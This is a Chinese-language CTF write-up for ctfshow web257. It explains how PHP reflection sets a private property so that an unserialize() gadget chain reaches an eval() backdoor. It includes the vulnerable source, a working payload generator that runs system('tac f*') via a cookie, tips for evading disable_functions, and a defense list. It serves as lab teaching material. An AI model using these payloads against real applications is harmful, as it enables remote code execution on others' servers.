PHP反序列化中使用反射绕过私有属性

发布时间:2026/10/30 9:56:41
PHP反序列化中使用反射绕过私有属性

以ctfshow的web257为灵感

反射(Reflection)是 PHP 提供的一套“在运行时查看、操作类内部结构”的官方 API

类作用
ReflectionClass类名、父类、接口、属性列表、方法列表;创建实例;newInstanceWithoutConstructor()
ReflectionProperty读写属性,包括 private/protected;setAccessible()、getValue()、setValue()
ReflectionMethod调用方法,包括 private;invoke()、invokeArgs()
ReflectionFunction/ReflectionParameter函数、参数、默认值、类型
ReflectionAttributePHP 8 的 Attribute(注解)

这里以ctfshow的web257为例

源代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{//info类 正常类 private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code);//这里有eval可以执行PHP代码 所以需要想办法触发getinfo } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
<?php class ctfShowUser{ private $username='a'; private $password='b'; private $isVip=false; private $class; public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=new backDoor(); $a->class=$b;//这个地方会报错 $b->code=="system('tac f*');"; echo serialize($a); ?>

本来想尝试这种做法 在最后统一串起来 但是由于class被设置为私有属性不能额外调用

然后询问AI得知可以使用反射绕过私有属性

故开始尝试

最终得到

<?php class ctfShowUser{ private $username='a'; private $password='b'; private $isVip=false; private $class; public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=new backDoor(); $b->code = 'system("tac f*");'; // 反射修改私有属性 $ref = new ReflectionClass($a); $prop = $ref->getProperty('class'); $prop->setValue($a,$b); $ser = serialize($a); echo "序列化后:".$ser."\n"; echo "url编码后:".urlencode($ser); ?>

将得到url编码后的内容放到cookie里 再传username和password的参 即可得到flag

变量类型作用
$refReflectionClass对象ctfShowUser这个类的“说明书 + 操作手柄”
$propReflectionProperty对象ctfShowUser::$class这个属性槽的句柄
$serstringserialize($a)得到的序列化字符串

$ref 类的反射对象

$ref->getName(); // 类名 $ref->getProperties(); // 所有属性(含 private) $ref->getMethods(); // 所有方法 $ref->getConstructor(); // 构造函数 $ref->newInstanceWithoutConstructor(); // 不走构造函数创建实例

$prop 属性的反射对象

$prop = $ref->getProperty('class'); $prop->setValue($a, $b);

getProperty('class')返回一个ReflectionProperty代表ctfShowUser::$class这个槽位setValue($a, $b)把$b写进$a->class

$ser 序列化结果

普通字符串,内容是整个对象图(包括私有属性)

扩充的知识点

  1. 反射家族:ReflectionClass、ReflectionProperty、ReflectionMethod、ReflectionFunction、ReflectionParameter、PHP 8 的ReflectionAttribute。框架的依赖注入、ORM、PHPUnit 都靠它们。
  2. setAccessible()的历史:PHP 8.1 起是空操作;之前必须显式打开,读 private 属性也一样。
  3. newInstanceWithoutConstructor():跳过构造函数,避免构造函数里的副作用(重置属性、连数据库、抛异常)。这是真实 gadget 链脚本里最常用的 API 之一。
  4. ReflectionObject:专门针对对象的反射类,ReflectionClass的子类;传对象时两者都能用。
  5. 序列化格式细节:O:类名长度:"类名":属性个数:{...}、s:字节长度:"值";、private 的\0类名\0属性、protected 的\0*\0属性;长度按字节算,属性个数只数实际写进去的。
  6. 自定义序列化:__sleep()/__serialize()控制“序列化哪些属性”,__wakeup()/__unserialize()在反序列化时触发;这道题没有,但真实链子里常见。
  7. unserialize()的第二个参数:['allowed_classes' => [...]]白名单;不存在的类会变成__PHP_Incomplete_Class。
  8. Cookie 传输:urlencodevsrawurlencode、%00、双重编码(%2500)、;会截断 Cookie、NUL 在浏览器里不可见。
  9. 对象生命周期:__destruct()在脚本结束或对象释放时触发;生成脚本里保留析构方法,会在本地执行一次命令。
  10. 本地生成 vs 服务端利用:反射跑在你的生成脚本里;靶机只执行unserialize()。unserialize()本身就不受可见性限制,所以私有属性在它面前不是防线。
  11. 危险函数:eval、system、shell_exec、passthru;靶场常见disable_functions会禁用其中一部分,system不行就换shell_exec,反之亦然。
  12. 防御:不要unserialize()用户输入;用json_decode();必须反序列化时用allowed_classes白名单 + HMAC 签名;不要把eval放进__destruct()。